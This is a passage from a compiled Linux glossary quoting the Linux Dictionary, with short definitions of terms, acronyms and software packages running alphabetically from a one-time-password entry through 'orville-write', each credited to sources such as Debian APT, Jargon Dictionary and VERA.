A password authentication enhancement, the one-time password allows you to log on only once with a password, after which that password is no longer valid. The way this works is that instead of having a normal password you would memorize, you are given a list of passwords. You use each password sequentially. You might use a hardware device that maintains the list for you. Each time you login, you ask the hardware device for the next password. Key point: The true secret (such as the password used to encrypt the passwords) is never sent across the wire. A hacker could certainly sniff the password from the wire, but it is now useless. Example: The original OTP system was named "S/Key"; a term trademarked by Bellcore. The idea was to create a password authentication system that integrated seamlessly to existing UNIX systems. Other approaches require replacing existing protocols/software with secure password exchanges (like challenge-responses or public-key crypto). However, it should be noted that the S/Key protocol is still vulnerable to man-in-the-middle attacks. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

oneko

a cat chases the cursor (now a mouse) around the screen A cat (neko) chases the cursor (now a mouse) around the screen while you work. Alternatively, a dog chases a bone. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

oneko

The program oneko creates a cute cat chasing around your mouse cursor. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

oneliner

Command line for X OneLiner creates a single-line command prompt at the bottom of the screen, displaying your current directory and keeping track of all the directories you've been in and commands you've run during the current session. This is a complete re-write; OneLiner has progressed from a quick Tcl/Tk hack, to an ever-so-slightly more advanced C/Tk hack, and now to C/GTK+! The interface is practically the same, but items won't get duplicated on the history menus now. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ONI

Operator Number Identification From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ONIX

Online/Offline**O**

When you are logged onto a computer through your modem, you are said to be online. When you are using your computer but are not connected to a computer through your modem, you are said to be working offline. On-line is also a Buzz word that indicates access to a computer network. From Glossary of Distance Education and Internet Terminology

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ONMS

Open-Network Management System From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

onshore-timesheet

A complete, Open Source, Web-based Time-Billing solution A commercially supported, GPL'd web application to allow for the collection and approval of hours via the Web. Clients, jobs, personnel, and hours are modeled and managed by the system. Nightly reports give managers a list of their jobs and unapproved hours. A flexible backend is provided for integration with billing systems. See <http://www.onshore-timesheet.org/> for more information and inquiries about commercial support, integration, or development. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OO

Object Orientated From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OO

Object Oriented, any programming language or other system which is based on the concept of grouping related routines and data structures together in 'objects'. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

oo-browser

(Emacs) Object Oriented Class Browser The oo-browser is a multi-windowed, interactive object-oriented class browser similar in use to the well-known Smalltalk browsers. It is unique in a number of respects foremost of which is that it works well with a multiplicity of object-oriented languages. It provides both textual views within an editor and graphical views under the X window system and Windows. oo-browser provides support for Java, C++/C, Object-C, Python, Smalltalk, Eiffel and last but not least Lisp. More information can be found at the oo-browser web site <http://sourceforge.net/projects/oo-browser/> . From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

oo2c

Optimizing Oberon-2 to ANSI-C Compiler Oberon-2 is an object-oriented programming language, a successor of Pascal, designed by the renowned Niklaus Wirth. It combines the popular and proven design of Pascal (strict type system, easy to read code, easy to follow program flow, possibility to naturally structure your source code) with the modularity of Modula-2 and enhances both of them with clean, simple but powerful object-oriented concepts, including inheritance, dynamic type information, virtual methods, various access rules on class and module basis and a built-in garbage collector. OO2C is the first compiler of the Optimizing Oberon-2 Compiler (OOC) project. OOC's goal is to provide optimizing native code Oberon-2 compilers for a number of popular computer architectures. From Debian 3.0r0 APT

open

The open command starts a specified command with the first available virtual console, or on a virtual console that you specify. Install the open package if you regularly use virtual consoles to run programs. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

open architecture

A system in which all the system specifications are made public so that other companies will develop add-on products such as adapters for the system. See open bus system. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Open Sound System

a device driver for accessing sound cards and other sound devices under various UNIX operating systems. OSS has been derived from the Linux Sound Driver. The current version supports almost all popular sound cards and sound devices integrated on computer motherboards. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Open Source

A somewhat ambiguous term that refers to software that is released with its source code. The fact that the source code is provided does not necessarily mean that users can modify and redistribute the source code. The term is sometimes used interchangeably with "free software", although they are not always the same. (Also, see Public Domain and Shareware.) From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

open source

n. [common; also adj. `open-source'] Term coined in March 1998 following the Mozilla release to describe software distributed in source under licenses guaranteeing anybody rights to freely use, modify, and redistribute, the code. The intent was to be able to sell the hackers' ways of doing software to industry and the mainstream by avoid the negative connotations (to suits) of the term "free software". For discussion of the followon tactics and their consequences, see the Open Source Initiative site. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

open source

Term coined in March 1998 following the Mozilla release to describe software distributed in source under licenses guaranteeing anybody rights to freely use, modify, and redistribute, the code. The intent was to be able to sell the hackers' ways of doing software to industry and the mainstream by avoid the negative connotations (to suits) of the term "free software". From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Open Source Software

Open Source Software is software for which the underlying programming code is available to the users so that they may read it, make changes to it, and build new versions of the software incorporating their changes. There are many types of Open Source Software, mainly differing in the licensing term under which (altered) copies of the source code may (or must be) redistributed. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

open source software (OSS)

Non-proprietary software in which the software source code is available and can be adapted by users to suit their needs. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

open standard

A set of rules and specifications, which collectively describe the design or operating characteristics of a program or device, that is published and made freely available to the technical community. Open standards may contribute to rapid market growth if they encourage interoperability (the ability of a device made by one manufacturer to work with a device made by a different manufacturer). The opposite of an open standard is a proprietary standard which a company pushes in the hope that its standard, and no others, will come to dominate the market. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Open System Interconnection (OSI) reference model

An international standard for the organization of local area networks (LANs) established by the International Standards Organization (ISO) and the Institute of Electrical and Electronic Engineers (IEEE) that improves network flexibility. Synonymous with ISO/OSI reference model. The OSI reference model separates the communication process into distinct layers insulated from each other, such as the physical, data and transport. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Open Systems Interconnection (OSI)

Standard developed by ISO to allow computer systems running network operating systems to communicate using a seven-layer model. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

open-amulet-images

image files for OpenAmulet, a GUI toolkit This package contains the image files needed by certain OpenAmulet programs. The OpenAmulet Toolkit is a portable toolkit designed for the creation of 2D direct manipulation graphical user interfaces. It is written in C++ and can be used with Unix systems running the X Window System (Motif look), PC's running Microsoft Windows NT or '95 (native look), or Macintosh systems running MacOS (native look). The Amulet research project in the School of Computer Science at Carnegie Mellon University is creating a comprehensive set of tools which make it significantly easier to create graphical, highly-interactive user interfaces. The lower levels of Amulet are called the 'Amulet Toolkit,' and these provide mechanisms that allow programmers to code user interfaces much more easily. Support is provided for: object selection, save/load, undo, and constraints. As the group at Carnegie Mellon University is no longer funded for its work on Amulet, some Amulet users have founded the OpenAmulet project which has continued its development. For more information, see <http://www.openip.org> and <http://www.cs.cmu.edu/~amulet/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

open-source

"Open-source" describes a set of political values espoused by many on the Internet. When creating software, a programmer will write code. Code is the "source" from which the software is built. This source code is then compiled into object binaries. It is not feasible to reconstruct the source code from the binaries, which means that somebody using software cannot see the source code from which it was built. The political view is that people should be able to view the source, that is should be "open" for reading by anybody. The primary reason is that open-source increases "freedom". People are free to make changes as they like to the source-code, thereby fixing bugs or adding features to their software. There is also a level of paranoia involved: people fear that closed-source they can't read may be doing something subversive, such as secretly monitoring people for the government. Controversy: Open-source advocates believe that it is beneficial for the following reasons: security Security is founded upon the principle of peer review. This is especially true in the world of crypto, where nothing is accepted without years of vetting by members of the crypto community. In the same fashion, many paranoids will trust only peer-reviewed, open-source software. However, as of 2001, both open-source and closed-source have been the source of massive security problems (such as the

many popular Linux worms). cost Open-source software licenses are usually free. However, since software licenses for many products are much smaller than operational costs, it price is not as important as other things. For example, BIND and Sendmail are popular not so much for their free licenses, but more for the fact that they have been the standard for more than 15 years. These products are well understood, and therefore cheap for companies to operate. stability and bugs The peer-review model suggests that bugs can be easily found and fixed. However, both open-source and closed-source suffer from the fact that source-code is a constantly moving target. In both cases, new code is being written faster than existing code is being fixed. There are some open-source projects (e.g. OpenBSD) where developers concentrate on stabilizing code rather than moving forward to the latest and greatest features. However, some people think that projects like Linux are too fast a moving target to ever quite stabilize. Since the source-code is open, developers can easily change it to add features. However, few people are developers, and the code is often so poorly documented, adding changes to it can often be more of a burden than starting over from scratch. Example: The following are well known open-source projects: Linux, Apache, sendmail, BIND, Samba, Perl, Mozilla, MySQL From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openafs

The AFS distributed filesystem- database server AFS is a distributed filesystem allowing cross-platform sharing of files among multiple computers. Facilities are provided for access control, authentication, backup and administrative management. It should be installed on the servers that will act as volume location and protection servers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openam

H.323 answering machine This program does the job of a real answering machine but for H.323 Voice over IP (VoIP) based phones, this is, answers calls and plays previously recorded messages and then records new ones for you to hear afterwards. For more information on the OpenH323 project visit them at <http://www.openh323.org/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openbabel

Convert and manipulate chemical data files Openbabel is a GPL and C++ rewrite of the 'babel' program to convert the various file formats used in chemical software. The command-line interface is mostly identical to the old 'babel' executable and recognizes these file formats among many others: Alchemy, ChemDraw, GAMESS, Gaussian, HyperChem, MDL Isis and Molfile, MOPAC, MPQC, PDB, SMILES and XYZ. Right now, openbabel is not a 100% replacement for babel as some file formats and bond order prediction are not yet supported. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openc++

extensible C++ compiler OpenC++ is a tool for source-code translation for C++. Programmers can easily implement various kinds of translation so that they can define new syntax, new annotation, and new object behavior. Web Page: <http://www.hlla.is.tsukuba.ac.jp/~chiba/openc++.html> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OpenClassroom

The OpenClassroom Project is an initiative to develop a complete administrative system for the school. It includes tools for teachers, students and administrators. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

opengate

H.323 voice over IP gatekeeper OpenGatekeeper supports all the basic features of an H.323 Gatekeeper such as registration, admissions and access control, address translation and bandwidth monitoring and control. To utilise the gatekeeper you require a H.323 client, such as simph323, ohphone or even MS Netmeeting. It also supports many advanced features such as: - Gatekeeper routed calls - Support of H.323v2 alias types (party number, URL, transport id and email address) - Support for gateway prefixes - Registration and call activity logs - Neighbour gatekeeper database -

Registration time to live From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OPENGL

OPEN Graphics Language (OpenGL), "OpenGL" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OpenGL

OpenGL is an immediate mode graphics programming API originally developed by SGI based on their previous proprietary Iris GL, and became in industry standard several years ago. It is defined and maintained by the Architectural Revision Board (ARB), an organization that includes members as SGI, IBM, and DEC, and Microsoft. OpenGL provides a complete feature set for 2D and 3D graphics operations in a pipelined hardware accelerated architecture for triangle and polygon rendering. In a broader sense, OpenGL is a powerful and generic toolset for hardware assisted computer graphics.

From 3DFX-HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openh323gk

H.323 gatekeeper H.323 gatekeeper controls all H.323 clients (endpoints like MS Netmeeting) in your zone. Its most important function is address translation between symbolic alias addresses and IP addresses. This allows you to call "jan" instead of knowing which IP address he currently works on.

To utilise the gatekeeper you require a H.323 client, such as simph323, ohphone or even MS

Netmeeting. – can send LRQ to neighbour GK based on prefix – authentication mechanism –

Alternate gatekeeper option – rewriting of E.164 numbers – "ping" endpoints (heartbeat) – TCP

interface for monitoring and controlling the GK From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OPENHCI

Open Host Controller Interface (USB), "OpenHCI" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openjade

Jade (James' DSSSL Engine) is an implementation of the DSSSL style language -- Document Style Semantics and Specification Language --an ISO standard for formatting SGML (and XML)

documents. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openjade

Implementation of the DSSSL language OpenJade is an implementation of the ISO/IEC 10179:1996 standard DSSSL language. It is based on James Clark's Jade software. This is the latest stable release of OpenJade. For the latest-and-greatest/bleeding-edge, install the `openjade' package. The OpenJade processor, in conjunction with a DSSSL style sheet, is capable of translating SGML documents into other formats. Output formats currently supported are RTF, HTML, MIF, JadeTeX, or an XML representation of the flow object tree. Using it's own non-standard system, it is also capable of transforming one SGML or XML DTD to another. Author: The OpenJade Team

<jade-devel@infomansol.com> Homepage: <http://openjade.sourceforge.net/> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OpenLDAP

An open-source version of lightweight Directory Access Protocol (LDAP). From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openldap

OpenLDAP is an open source suite of LDAP (Lightweight Directory Access Protocol) applications and development tools. LDAP is a set of protocols for accessing directory services (usually phone book style information, but other information is possible) over the Internet, similar to the way DNS (Domain Name System) information is propagated over the Internet. The openldap package contains configuration files, libraries, and documentation for OpenLDAP. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openmcu

H.323 conferencing server OpenH323 console interactive conferencing server that allows two or more people using a H.323 client to talk to each other in chat rooms. The server mixes the sound coming from all participants and splits the image so that up to 4 of them can be seen. For more information on the OpenH323 project visit them at <http://www.openh323.org/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openmosix

Utilities to administer an openmosix cluster node Openmosix is an extension to the linux kernel to support scalable and transparent cluster computing. The enhanced kernel allows a cluster of workstations and servers based on the Intel x86 architecture to work cooperatively as if part of a single system. This package provides the utilities to run a openmosix cluster. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openmotif

This is the Open Motif 2.2.1 runtime environment. It includes the Motif shared libraries, needed to run applications which are dynamically linked against Motif, and the Motif Window Manager "mwm". From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OpenNA Linux

The OpenNA Linux Operating System provides a highly secure and fast Linux server. Dedicated for mission critical tasks in the servers domain, the OpenNA Linux operating system provides a secure, strong, reliable and fast solution. A beta4 development version was released July 22, 2002. Release Candidate 2 was released March 24, 2003. A 'secured' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

opennap

Open source Napster server. Napster is a protocol for sharing files between clients. The server acts as a broker and search engine for client transfers. It also features group and private chat, similar to IRC. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openoffice

OpenOffice.org is an Open Source, community-developed, multi-platform office productivity suite. It includes the key desktop applications, such as a word processor, spreadsheet, presentation manager, formula editor and drawing program, with a user interface and feature set similar to other office suites. Sophisticated and flexible, OpenOffice.org also works transparently with a variety of file formats, including Microsoft Office. Usage: Simply type "office" to run OpenOffice.org or select the requested component (Writer, Calc, Draw, Impress, etc.) from your desktop menu. The office wrapper script will install a few files in the user's home, if necessary. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OpenOffice.org

OpenOffice.org is an Open Source, community-developed, multi-platform office productivity suite. It includes the key desktop applications, such as a word processor, spreadsheet, presentation manager, formula editing and drawing program, with a user interface and feature set similar to other office suites. Sophisticated and flexible, OpenOffice.org also works transparently with a variety of file formats, including Microsoft Office. Languages available in OpenOffice.org-110n-* packages include: English, French, German, Spanish, Italian, Dutch, Swedish, Finnish, Polish, Russian, Chinese, Japanese, Korean, Danish, Greek, Turkish, Czech, Catalan, Arab, Slovak. Localized help files available in OpenOffice.org-help-* packages include: English, French, German, Spanish, Italian, Swedish, Russian, Finnish, Czech, Japanese, Korean, Chinese. Spell-checking and hyphenation dictionaries are available in myspell-* and myspell-hyph-* packages, respectively. Please install the one that better suits your language needs. Usage: Simply type "office" to run OpenOffice.org or select the requested component (Writer, Calc, Draw, Impress, etc.) from your desktop menu. The office wrapper script will install a few files in the user's home, if necessary. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

opensp

OpenJade group's SGML parsing tools This package is a collection of SGML/XML tools called OpenSP. It is a fork from James Clark's SP suite. These tools are used to parse, validate, and normalize SGML and XML files. The central programs included in this package are 'onsgmls', which replaces sgmls, 'ospam', 'ospent', 'osgmlnorm', and 'osgml2xml'. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openssh

SSH (Secure Shell) a program for logging into a remote machine and for executing commands in a remote machine. It is intended to replace rlogin and rsh, and provide secure encrypted communications between two untrusted hosts over an insecure network. X11 connections and arbitrary TCP/IP ports can also be forwarded over the secure channel. OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it up to date in terms of security and features, as well as removing all patented algorithms to separate libraries (OpenSSL). This package includes the core files necessary for both the OpenSSH client and server. To make this package useful, you should also install openssh-clients, openssh-server, or both. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OpenSSH

The open source implementation of the Secure Shell (SSH) protocol. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openssl

Secure Socket Layer (SSL) binary and related cryptographic tools. This package contains the openssl binary and related tools. It is part of the OpenSSL implementation of SSL. You need it to perform certain cryptographic actions like: o Creation of RSA, DH and DSA key parameters o Creation of X.509 certificates, CSRs and CRLs o Calculation of Message Digests o Encryption and Decryption with Ciphers o SSL/TLS Client and Server Tests o Handling of S/MIME signed or encrypted mail . From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openssl

The openssl certificate management tool and the shared libraries that provide various encryption and decryption algorithms and protocols, including DES, RC4, RSA and SSL. This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (<http://www.openssl.org/>). This product includes cryptographic software written by Eric Young (eay@cryptsoft.com). This product includes software written by Tim Hudson (tjh@cryptsoft.com). From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openuniverse

3D Universe Simulator OpenUniverse (OU for short) is a fun, fast and free OpenGL space simulator. It currently focusses on the Solar System and lets you visit all of its planets, most major moons and a vast collection of smaller bodies in colorful, glorious and realtime 3D. If you've ever had a chance to visit Mercury or asteroid Geographos, here you'll find them looking exactly the same way, following exactly the same path as when you've left them. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openverse

A graphical chat written in tcl/tk. OpenVerse is a graphical visual chat client/server written in tcl/tk. Anyone who has seen Virtual Places, The Palace, or any other visual chat can quickly relate to what OpenVerse is. This package includes both the client program and server code. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openvrml-lookat

VRML X11 viewer This package contains lookat, a X11 VRML viewer using openvrml From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

openvt

start a program on a new virtual terminal (VT). From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Openwall GNU/Linux

"Owl" (or "Openwall GNU*/Linux") is a security-enhanced operating system with Linux and GNU software as its core, compatible with other major distributions of GNU*/Linux. It is intended as a server platform. The Owl 0.1-prerelease was released on May 11, 2001. Version 1.0 was released October 14, 2002. A 'secured' distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OpenZaurus

The OpenZaurus project was aimed at building a kernel and filesystem for the Sharp SL-5000d and SL-5500. Version 2.9.5.5 was released August 8, 2002. After that the project became a Debian based embedded distribution built from source. It is quite similar to other embedded debian-based distributions, such as Familiar for the Ipaq. This is still an open source Linux for the Sharp Zaurus, using the latest available Opie. Ports of OpenZaurus to other PDAs and/or other embedded systems are imminent (as of January 28, 2003). OpenZaurus 3.1 release candidate 2 was announced January 24, 2003. Handhelds/PDA based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Operating system

A master control program that manages the computer's internal functions and provides a means to control the computer's operations. The most popular operating systems for personal computers include Microsoft Windows and MacOS. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

operating system

n. [techspeak] (Often abbreviated `OS') The foundation software of a machine; that which schedules tasks, allocates storage, and presents a default interface to the user between applications. The facilities an operating system provides and its general design philosophy exert an extremely strong influence on programming style and on the technical cultures that grow up around its host machines. Hacker folklore has been shaped primarily by the Unix, ITS, TOPS-10, TOPS-20/TWENEX, WAITS, CP/M, MS-DOS, and Multics operating systems (most importantly by ITS and Unix). From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

operating system

Software that shares a computer system's resources (processor, memory, disk space, network bandwidth, and so on) between users and the application programs they run. Controls access to the system to provide security. <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

operating system

The foundation software of a machine; that which schedules tasks, allocates storage, and presents a default interface to the user between applications. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

operating system (OS)

The main control software of a computer system; handles task scheduling, storage, and communication with peripherals. All applications installed on a computer system must communicate with the operating system. Linux is one example of an operating system. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OPI

Open Prepress Interface (DTP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

opie-client

OPIE programs for generating OTPs on client machines This package contains the necessary generators to produce one-time passwords (OTPs) which allow you to log into systems running OPIE aware daemons. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

opie-server

OPIE programs for maintaining an OTP key file Creates an OTP key file. Probably not useful without libpam-opie From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OPK

OEM Pre-installation Kit (MS, Windows, OEM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OPL

Open Publication License (OCL) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OPL

Organizer Programming Language (Psion, PDA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

opl2ofm

convert Omega and TeX property-list files to font-metric files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OPM

Operations-Per-Minute From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OPS

Operations Per Second (CPU) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OPS

Oracle Parallel Server (Oracle) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OPSEC

Open Platform for Secure Enterprise Connectivity (org., manufacturer, IDS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OPT

Open Protocol Technology From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

opt

Options Parsing Tool shared library opt is a subroutine library which facilitates the convenient input of parameters to a C program. Parameters are parsed from a command line, with further facilities for reading options from files, from environment strings, or from an interactive environment. The aim of the opt package is to permit programs to be both user- and programmer- friendly. The package attempts to on the one hand provide a direct and relatively full-featured input interface to the ultimate user of the program, and at the same time impose a minimal amount of work on the programmer to "attach" the package to his or her software. It is similar to GNU's (and AT&T's old) getopt package, but with a different interface that might be easier to use. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OPTARG

The value of the last option argument processed by the getopt builtin command. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OPTERR

If set to the value 1, bash displays error messages generated by the getopt builtin command (see SHELL BUILTIN COMMANDS below). OPTERR is initialized to 1 each time the shell is invoked or a shell script is executed. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OPTIND

The index of the next argument to be processed by the getopt builtin command. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

option

An argument on a command line, usually preceded by a minus sign, that modifies the functioning of the command-also known as a flag or a switch. For example, the -x option on the command line vi

-x allows the vi editor to read an encrypted file. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OQL

Object Query Language (ODMG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OR

Originator / Recipient (X.400, MOTIS), "O/R" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ORAIS

Opportunities and Risks of Artificial Intelligent Systems (conference, GI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Orange Book

n. The U.S. Government's standards document "Trusted Computer System Evaluation Criteria, DOD standard 5200.28-STD, December, 1985" which characterize secure computing architectures and defines levels A1 (most secure) through D (least). Modern Unixes are roughly C2. See also crayola books, book titles. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Orange Linux

Orange Linux is a floppy-based Linux distribution that includes a set of tools for making your own distribution, a VGA graphics library, and a small Pong game. Initial version 1.0 was released March 11, 2003. A floppy-based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ORB

Object Request Broker (OMA, OMG, CORBA, ORB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

orbit

A CORBA ORB (used with Gnome) ORBit is a lightweight CORBA ORB designed for use with the Gnome project. (Nothing about it requires Gnome, though.) This package contains command-line utilities for various ORBit services: orbit-ird, name-client, orbit-name-server, orbit-event-server, ior-decode. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ORBit

ORBit is a high-performance CORBA (Common Object Request Broker Architecture) ORB (object request broker). It allows programs to send requests and receive replies from other programs, regardless of the locations of the two programs. CORBA is an architecture that enables communication between program objects, regardless of the programming language they are written in or the operating system they run on. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

orbit2

A CORBA ORB (used with Gnome) ORBit2 is a high-performance CORBA ORB originally designed for use with the GNOME project. (Nothing about it requires GNOME, though.) This package contains command-line utilities, such as name-client-2, orbit-name-server-2 and ior-decode-2. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ORCA

Online Resource Control Aid From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ORDBMS

Object Relational Database Management System (DBMS, DB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

oregano

GNOME application for schematic capture of electrical circuits Oregano is an application for schematic capture and printing of electrical circuits. It can also be used for simulations if you have

Berkeley Spice. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

original-awk

The original awk described in "The AWK Programming Language" This is the version of awk described in "The AWK Programming Language", by Al Aho, Brian Kernighan, and Peter Weinberger (Addison-Wesley, 1988, ISBN 0-201-07981-X). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ORK

Office Resource Kit (MS, Windows) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ORM

Optical Remote Module From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

oroborus

A lightweight themeable window manager for X. Oroborus is a small and simple window manager which does exactly what it says it does, manage windows. There is no fancy doc, clip, wharf, or a root menu for that matter. These utilities can be provided by other programs such as "deskmenu". Oroborus has support for Gnome and session management, or can be run as a stand-alone window manager. This package has also been compiled with Xinerama support. Oroborus is small, about 40Kb at the time of this package. It has full keyboard control and is very themeable. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OROM

Optical Read Only Memory (ROM), "O-ROM" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

orp

Java VM and JIT from Intel Research Lab. ORP stands for Open Runtime Platform, which is an Intel(TM) Open Source research platform for investigating dynamic compilation and memory management technologies. The basic ORP system incorporates a fast code generating JIT (Just-In-Time) as well as an optimizing JIT. It also includes several GC (Garbage Collection) algorithms, ranging from a simple mark-sweep algorithm to an advanced train algorithm. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

orp-classpath

Free java class libraries (specific to ORP JVM) GNU Classpath is a set of essential libraries for supporting the Java language. Our goal is to provide a free replacement for Sun's proprietary class libraries so that the GNU system can run programs written in the Java language. This specific package has additional files that are specific to the ORP JVM. It is only suitable for use with the ORP JVM. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

orphan

n. [Unix] A process whose parent has died; one inherited by init(1). Compare zombie. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

orphaned i-node

/or'f*nd i:'nohd/ n. [Unix] 1. [techspeak] A file that retains storage but no longer appears in the directories of a filesystem. 2. By extension, a pejorative for any person no longer serving a useful function within some organization, esp. lion food without subordinates. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ORS

Output Record Separator (AWK) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ORT

Ongoing Reliability Test From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

orville-write

